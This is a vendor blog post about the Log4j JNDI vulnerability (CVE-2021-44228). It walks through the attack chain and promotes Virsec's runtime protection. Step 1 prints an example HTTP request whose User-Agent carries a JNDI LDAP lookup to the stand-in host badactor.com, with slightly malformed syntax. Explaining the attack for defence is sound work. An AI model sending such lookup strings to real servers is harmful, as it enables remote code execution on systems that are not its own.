Protect with Virsec: The Log4j Vulnerability

Written by Satya Gupta, Founder and CTO, Virsec Systems

As we analyze this latest broad-scale attack, we also highlight how Virsec customers are always protected – alleviating the fear of the unknown in the wake of a new vulnerability.

Virsec continues to analyze the Apache Log4j vulnerability (CVE-2021-44228) disclosed on December 9, 2021. We shall continue to update technical information relative to this attack to help customers protect themselves against attacks even as they await patches from vendors. The actual vulnerability involves Log4j macro expansion. In this blog, in addition to analyzing the vulnerability, we demonstrate how Virsec customers are always protected, in the wake of unknown attacks, even when they are awaiting patching, and even if you are still awaiting more guidance to fix what happened.

Why use Apache Log4j?

The Log4J library is a very commonly used library written in Java and typically used in many commercial and open-source Java applications to facilitate logging of application activity. Some logging levels are too verbose and can impact performance on production systems. That said, when debugging a problem, verbose levels are needed to gain deeper context. The Log4J library provides the necessary knobs to tune logging as needed at runtime.

Impact

Due to its powerful capabilities, the Log4j library gets included in many business applications as well as open-source applications. To make matters worse, due to the ubiquitous nature of the Log4j vulnerability, it has found its way into even more open-source applications like Apache Struts, Solr and Druid, to name a few. Since Java is a cross-platform language, this vulnerability is not just restricted to Linux but has crept into other operating systems like Windows, etc.

Which Version is Affected?

The Log4j vulnerability has been detected in Log4j version 2.0 through 2.14.1. A quick vulnerability analysis scan using a vulnerability analysis tool like Nessus can reveal if your code is impacted.

The Generic Kill Chain

The kill chain shown below mirrors how an attacker’s mindset works. One important action occurs at Step 4 where the attacker achieves initial access into the victim server. This allows the attacker to execute limited malware (step 5) that helps them to gain remote keyboard control (Step 6) on the victim server. With that capability, the attacker acquires the ability to dwell, survey, move laterally, beef-up persistence, etc. Then at Step 8, they start unleashing their final malicious objectives such as exfiltrating data, unleashing ransomware, etc.

Detecting attacks at Step 4 of the kill chain is extremely important. This is because stopping the attack at Step 4 can nip all further downstream steps including ANY malicious actions.

The Log4j Attack Kill Chain

In this attack, the generic kill chain is as shown in the diagram below:

Step 1: Here the bad actor dispatches a malicious HTTP payload as below.

GET /SomeURL HTTP/1.1

Host: VulnApp.com

User-Agent: $(jndi:ldap://badactor.com/a)

Step 2: The vulnerable server deserializes the macro seen in the User-Agent field.

Step 3: The macro in Step 2 involves reaching a malicious URL hosted by the bad actor.

Step 4: The bad actor’s server triggers a download on to the vulnerable server. This download involves loading of a rogue java class directly in memory. Upon loading, this class causes a remote code execution (RCE) on the vulnerable server. This RCE can take many shapes and forms. For instance, the attacker may cause execution on a thread in an existing process or launch new processes with file-based or fileless malware.

Step 5: The RCE goes to work. At this stage, the attacker’s malicious objectives are being met.

How Can Virsec Help?

The first malicious action occurs at Step 3 as the LDAP Server reaches out to the attacker’s server. Virsec identifies that as an RFI vulnerability.

At Step 4, the response from the bad actor server triggers a malicious java class to get loaded. Virsec detects this malicious class load directly into memory.

Once the malicious class gets loaded in memory, it could unleash more file-based or fileless malware. Virsec Security Platform for Host, otherwise known as, VSP-Host (Process Monitoring and ACP Engine), stops those attacks without even one instruction from such malware executing.

Virsec has produced a demo describing the Log4j kill chain and how VSP-Host can protect customers.

Virsec Customers Are Always Protected

While it is good to be able to patch but, as we all know, patching is very operationally tedious. Many applications leverage the vulnerable Log4j library, making them instantly vulnerable, too, as the “poison” propagates deeper. Patching gets further complicated because there is no “easy button” to find out which other applications in the software infrastructure are also at risk since the vulnerability is in the library vs. the application itself. VSP protects your applications while they are running and stops malicious movement at the first indication. Given these complications, knowing Virsec would keep vulnerable applications safe while trying to work out patching is critical to know.